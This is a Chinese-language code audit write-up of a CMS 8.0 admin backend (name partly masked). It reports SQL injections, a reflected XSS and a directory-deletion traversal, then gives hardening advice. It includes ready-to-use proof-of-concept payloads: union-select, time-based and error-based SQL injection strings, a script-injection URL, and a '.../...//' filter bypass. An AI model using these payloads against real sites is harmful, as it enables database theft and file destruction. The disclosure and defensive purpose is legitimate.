usual*** CMS 8.0代码审计
字数 1371 2025-08-22 12:23:47
usual*** CMS 8.0 代码审计报告与漏洞分析
0x01 前言
本文档详细分析了usual*** CMS 8.0版本中发现的多个安全漏洞,包括SQL注入、XSS跨站脚本攻击和目录删除漏洞。这些漏洞均存在于后台管理系统中,可能被攻击者利用来获取敏感信息或破坏系统。
0x02 后台a_book_category.php int型注入
漏洞描述
该文件存在整数型SQL注入漏洞,攻击者可通过构造恶意参数执行任意SQL查询。
漏洞位置
/demo/cmsadmin/a_book_category.php
POC
http://cms.xxxx.com/demo/cmsadmin/a_book_category.php?t=mon&id=-1%20union%20select%201,user(),3%23
漏洞分析
id参数未经过滤直接拼接到SQL查询中- 使用
union select可以获取数据库信息 - 该文件存在多个触发点
0x03 后台a_pagex.php盲注
漏洞描述
存在基于时间的盲注漏洞,通过editorValue参数可执行任意SQL语句。
漏洞位置
/demo/cmsadmin/a_pagex.php
POC
pagename=test&istop=0&isbottom=0&title=test&webkey=test&description=test&editorValue=1'and if(ascii(substr(user(),1,1))=100,sleep(2),1)#&id=2&submit=%E7%BC%96%E8%BE%91
漏洞分析
editorValue参数需要手动添加- 使用
if和sleep函数构造时间盲注 - 通过判断响应时间差异可推断SQL查询结果
0x04 后台反射型XSS
漏洞描述
存在反射型XSS漏洞,虽然危害较低但可用于熟悉XSS审计流程。
漏洞位置
/demo/cmsadmin/a_auth.php
POC
http://cms.xxxxxx.com/demo/cmsadmin/a_auth.php?do=update&l=%22%3C/script%3E%3Cscript%3Ealert(1)%3C/script%3E
漏洞分析
l参数未经过滤直接输出到页面- 可注入任意JavaScript代码
0x05 后台a_bookx.php注入
漏洞描述
存在复杂的SQL注入漏洞,虽然mysqli_query不支持堆叠查询,但可通过特定方式利用。
漏洞位置
/demo/cmsadmin/a_bookx.php
POC
http://cms.xxxx.com/demo/cmsadmin/a_bookx.php?t=move&id[0]=1%27)or%20if((substr((select%20user()),1,1))=%27d%27,(select%201),exp(~0));%23
漏洞分析
id参数为数组形式传入- 使用
if条件判断构造布尔型盲注 - 当条件为假时使用
exp(~0)触发错误 - 可利用多种报错技术:
- updatexml/extractvalue
- join报错
- floor报错
- exp()报错(MySQL>=5.5.5)
0x06 删除指定目录漏洞
漏洞描述
存在目录遍历漏洞,可删除服务器上任意目录。
漏洞位置
/demo/cmsadmin/a_modsx.php
漏洞分析
id参数经过不安全的过滤str_replace只替换一次../为空格- 可通过
.../...//绕过,实际变为../ - 可跨目录删除指定目录
影响
成功删除网站images文件夹
防御建议
-
SQL注入防御:
- 使用参数化查询或预处理语句
- 对所有用户输入进行严格过滤和转义
- 使用最小权限原则配置数据库账户
-
XSS防御:
- 对所有输出进行HTML编码
- 实施内容安全策略(CSP)
- 使用HttpOnly标志设置cookie
-
目录遍历防御:
- 使用白名单验证文件路径
- 规范化路径后检查是否在允许范围内
- 避免直接使用用户输入作为文件操作参数
-
其他建议:
- 定期进行安全审计和代码审查
- 实施严格的输入验证和输出编码
- 保持系统和组件更新到最新版本
总结
usual*** CMS 8.0版本存在多个高危漏洞,主要集中在后台管理系统。攻击者可利用这些漏洞获取数据库敏感信息、执行任意代码或破坏系统文件。建议用户升级到最新版本或按照上述建议进行安全加固。